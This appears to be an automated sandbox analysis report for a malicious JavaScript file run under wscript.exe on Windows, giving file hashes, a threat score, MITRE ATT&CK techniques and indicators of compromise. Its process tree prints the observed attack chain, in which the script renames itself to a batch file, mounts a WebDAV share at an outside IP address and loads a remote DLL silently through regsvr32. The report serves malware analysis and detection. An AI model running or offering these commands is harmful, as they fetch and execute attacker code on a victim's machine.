62fc948da0711a87f65ef112d0b33ddb9ff31b48cd295afd52670e681c2aa544

Analysis

max time kernel
95s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 07:09

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General

Target

2727240823238218669.js
Size

5KB
MD5

f95dec38745edcbb9c3d22555d77c94a
SHA1

0934c767e1907110c81aa0fac8d809a967d4f4e7
SHA256

6547ae56e683d062433e3083d802a4504fb9e592894a6e2d75e4e4947a4efdd8
SHA512

eb825306f2b43feb22cd19f6f19bf4f306d705ac71870e2369173e607f64563f9573f16de756e817587e97092948982364f9cfcf3046fc0891ad49141281cabd
SSDEEP

96:xb/BBwzXIxcccQgZXIxcccRl9OYlvN7SKWN1Ft2B3+us2Eeep2B1ikV:pjwZP9vWl8B33xEPAB1ikV

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1208 wrote to memory of 1764	1208	wscript.exe	82
PID 1208 wrote to memory of 1764	1208	wscript.exe	82
PID 1764 wrote to memory of 1904	1764	cmd.exe	85
PID 1764 wrote to memory of 1904	1764	cmd.exe	85
PID 1764 wrote to memory of 1480	1764	cmd.exe	86
PID 1764 wrote to memory of 1480	1764	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2727240823238218669.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2727240823238218669.js" "C:\Users\Admin\\flaldb.bat" && "C:\Users\Admin\\flaldb.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1904
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\303.dll
    3⤵
    PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\flaldb.bat

Filesize
5KB

MD5
f95dec38745edcbb9c3d22555d77c94a

SHA1
0934c767e1907110c81aa0fac8d809a967d4f4e7

SHA256
6547ae56e683d062433e3083d802a4504fb9e592894a6e2d75e4e4947a4efdd8

SHA512
eb825306f2b43feb22cd19f6f19bf4f306d705ac71870e2369173e607f64563f9573f16de756e817587e97092948982364f9cfcf3046fc0891ad49141281cabd

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